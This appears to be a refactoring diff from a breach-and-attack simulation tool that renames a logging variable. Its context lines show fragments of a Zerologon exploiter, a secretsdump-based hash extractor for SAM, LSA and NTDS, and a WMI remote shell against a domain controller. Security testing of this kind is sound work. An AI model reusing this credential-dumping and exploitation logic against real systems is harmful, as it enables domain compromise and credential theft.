for user_details in user_creds:
username = user_details[0]
@ -171,7 +171,7 @@ class ZerologonExploiter(HostExploiter):
if original_pwd_nthash:
break
except Exception as e:
LOG.info(f"Credentials didn't work. Exception: {str(e)}")
logger.info(f"Credentials didn't work. Exception: {str(e)}")
if not original_pwd_nthash:
raise Exception("Couldn't extract original DC password's NT hash.")
@ -180,11 +180,11 @@ class ZerologonExploiter(HostExploiter):
try:
rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip)
except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
logger.info(f"Exception occurred while connecting to DC: {str(e)}")
return False
# Start restoration attempts.
LOG.debug("Attempting password restoration.")
logger.debug("Attempting password restoration.")
_restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash)
if not _restored:
raise Exception("Failed to restore password! Max attempts exceeded?")
@ -192,7 +192,7 @@ class ZerologonExploiter(HostExploiter):
return _restored
except Exception as e:
LOG.error(e)
logger.error(e)
return False
finally:
@ -229,7 +229,7 @@ class ZerologonExploiter(HostExploiter):
return creds_to_use_for_getting_original_pwd_hashes
except Exception as e:
LOG.info(
logger.info(
f"Exception occurred while dumping secrets to get some username and its "
f"password's NT hash: {str(e)}"
)
@ -319,7 +319,7 @@ class ZerologonExploiter(HostExploiter):
return nthash
except Exception as e:
LOG.info(
logger.info(
f"Exception occurred while dumping secrets to get original DC password's NT "
f"hash: {str(e)}"
)
@ -328,7 +328,7 @@ class ZerologonExploiter(HostExploiter):
self.remove_locally_saved_HKLM_keys()
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
LOG.info(
logger.info(
f"Starting remote shell on victim with credentials:\n"
f"user: {username}\n"
f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : "
@ -368,11 +368,11 @@ class ZerologonExploiter(HostExploiter):
return True
except Exception as e:
LOG.info(f"Exception occured: {str(e)}")
logger.info(f"Exception occured: {str(e)}")
finally:
info = output_captor.get_captured_stdout_output()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
logger.debug(f"Getting victim HKLM keys via remote shell: {info}")
else:
raise Exception("Could not start remote shell on DC.")
@ -385,7 +385,7 @@ class ZerologonExploiter(HostExploiter):
try:
os.remove(path)
except Exception as e:
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
logger.info(f"Exception occurred while removing file {path} from system: {str(e)}")
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool:
for _ in range(0, self.MAX_ATTEMPTS):
@ -407,9 +407,9 @@ class ZerologonExploiter(HostExploiter):
# Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working.
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
logger.info(f"Unexpected error code from DC: {e.get_error_code()}")
except BaseException as e:
LOG.info(f"Unexpected error: {e}")
logger.info(f"Unexpected error: {e}")
return False
@ -459,13 +459,13 @@ class ZerologonExploiter(HostExploiter):
rpc_con.request(request)
except Exception as e:
LOG.info(f"Unexpected error: {e}")
logger.info(f"Unexpected error: {e}")
return rpc_con
def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool:
if restoration_attempt_result:
LOG.debug("DC machine account password should be restored to its original value.")
logger.debug("DC machine account password should be restored to its original value.")
return True
return False

View File

@ -58,7 +58,7 @@ from impacket.smbconnection import SMBConnection
from infection_monkey.utils.capture_output import StdoutCapture
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
@ -137,7 +137,7 @@ class DumpSecrets:
# target system. We just have a last resort. Hope we have tickets
# cached and that they
# will work
LOG.debug(
logger.debug(
"SMBConnection didn't work, hoping Kerberos will help (%s)"
% str(e)
)
@ -168,12 +168,12 @@ class DumpSecrets:
# something different to Off.
# This will prevent establishing SMB connections using TGS for SPNs
# different to cifs/.
LOG.error(
logger.error(
"Policy SPN target name validation might be restricting full "
"DRSUAPI dump." + "Try -just-dc-user"
)
else:
LOG.error("RemoteOperations failed: %s" % str(e))
logger.error("RemoteOperations failed: %s" % str(e))
# If RemoteOperations succeeded, then we can extract SAM and LSA.
if (
@ -192,7 +192,7 @@ class DumpSecrets:
)
self.__SAM_hashes.dump()
except Exception as e:
LOG.error("SAM hashes extraction failed: %s" % str(e))
logger.error("SAM hashes extraction failed: %s" % str(e))
try:
if self.__is_remote is True:
@ -209,8 +209,8 @@ class DumpSecrets:
self.__LSA_secrets.dumpCachedHashes()
self.__LSA_secrets.dumpSecrets()
except Exception as e:
LOG.debug(traceback.print_exc())
LOG.error("LSA hashes extraction failed: %s" % str(e))
logger.debug(traceback.print_exc())
logger.error("LSA hashes extraction failed: %s" % str(e))
# NTDS Extraction we can try regardless of RemoteOperations failing. It might
# still work.
@ -234,7 +234,7 @@ class DumpSecrets:
try:
self.__NTDS_hashes.dump()
except Exception as e:
LOG.debug(traceback.print_exc())
logger.debug(traceback.print_exc())
if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
# We don't store the resume file if this error happened, since this error
# is related to lack
@ -242,16 +242,16 @@ class DumpSecrets:
resume_file = self.__NTDS_hashes.getResumeSessionFile()
if resume_file is not None:
os.unlink(resume_file)
LOG.error(e)
logger.error(e)
if self.__use_VSS_method is False:
LOG.error(
logger.error(
"Something wen't wrong with the DRSUAPI approach. Try again with "
"-use-vss parameter"
)
self.cleanup()
except (Exception, KeyboardInterrupt) as e:
LOG.debug(traceback.print_exc())
LOG.error(e)
logger.debug(traceback.print_exc())
logger.error(e)
if self.__NTDS_hashes is not None:
if isinstance(e, KeyboardInterrupt):
resume_file = self.__NTDS_hashes.getResumeSessionFile()
@ -268,7 +268,7 @@ class DumpSecrets:
return dumped_secrets
def cleanup(self):
LOG.debug("Cleaning up...")
logger.debug("Cleaning up...")
if self.__remote_ops:
self.__remote_ops.finish()
if self.__SAM_hashes:

View File

@ -50,7 +50,7 @@ import os
import sys
import time
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
@ -86,11 +86,11 @@ class RemoteShell(cmd.Cmd):
filename = ntpath.basename(tail)
local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename)
fh = open(local_file_path, "wb")
LOG.info("Downloading %s\\%s" % (drive, tail))
logger.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
fh.close()
except Exception as e:
LOG.error(str(e))
logger.error(str(e))
if os.path.exists(local_file_path):
os.remove(local_file_path)
@ -134,7 +134,7 @@ class RemoteShell(cmd.Cmd):
try:
self.__outputBuffer += data.decode(self.CODEC)
except UnicodeDecodeError:
LOG.error(
logger.error(
"Decoding error detected, consider running chcp.com at the target,"
"\nmap the result with "
"https://docs.python.org/3/library/codecs.html#standard-encodings\nand "
@ -157,7 +157,7 @@ class RemoteShell(cmd.Cmd):
time.sleep(1)
elif str(e).find("Broken") >= 0:
# The SMB Connection might have timed out, let's try reconnecting.
LOG.debug("Connection broken, trying to recreate it")
logger.debug("Connection broken, trying to recreate it")
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self.__share, self.__output)

View File

@ -7,7 +7,7 @@ from impacket.dcerpc.v5 import nrpc, rpcrt
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
from common.utils.exceptions import DomainControllerNameFetchError
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
def get_dc_details(host: object) -> (str, str, str):
@ -39,7 +39,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v
try:
rpc_con = zerologon_exploiter_object.connect_to_dc(zerologon_exploiter_object.dc_ip)
except Exception as e:
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
logger.info(f"Exception occurred while connecting to DC: {str(e)}")
return False, None
# Try authenticating.
@ -49,7 +49,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v
if rpc_con_auth_result is not None:
return True, rpc_con_auth_result
except Exception as ex:
LOG.info(ex)
logger.info(ex)
return False, None
return False, None

View File

@ -53,7 +53,7 @@ from impacket.smbconnection import SMBConnection
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
LOG = logging.getLogger(__name__)
logger = logging.getLogger(__name__)
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
@ -102,7 +102,7 @@ class Wmiexec:
iWbemLevel1Login.RemRelease()
except (Exception, KeyboardInterrupt) as e:
LOG.error(str(e))
logger.error(str(e))
self.smbConnection.logoff()
self.dcom.disconnect()

View File

@ -18,7 +18,7 @@ from infection_monkey.model import DROPPER_ARG, MONKEY_ARG
from infection_monkey.monkey import InfectionMonkey
from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
LOG = None
logger = None
LOG_CONFIG = {
"version": 1,
@ -43,7 +43,7 @@ LOG_CONFIG = {
def main():
global LOG
global logger
if 2 > len(sys.argv):
return True
@ -116,19 +116,19 @@ def main():
del LOG_CONFIG["handlers"]["file"]
logging.config.dictConfig(LOG_CONFIG)
LOG = logging.getLogger()
logger = logging.getLogger()
def log_uncaught_exceptions(ex_cls, ex, tb):
LOG.critical("".join(traceback.format_tb(tb)))
LOG.critical("{0}: {1}".format(ex_cls, ex))
logger.critical("".join(traceback.format_tb(tb)))
logger.critical("{0}: {1}".format(ex_cls, ex))
sys.excepthook = log_uncaught_exceptions
LOG.info(
logger.info(
">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid()
)
LOG.info(f"version: {get_version()}")
logger.info(f"version: {get_version()}")
monkey = monkey_cls(monkey_args)
monkey.initialize()
@ -150,7 +150,7 @@ def main():
return True
except Exception as e:
LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e))
logger.exception("Exception thrown from monkey's start function. More info: {}".format(e))
finally:
monkey.cleanup()

Some files were not shown because too many files have changed in this diff Show More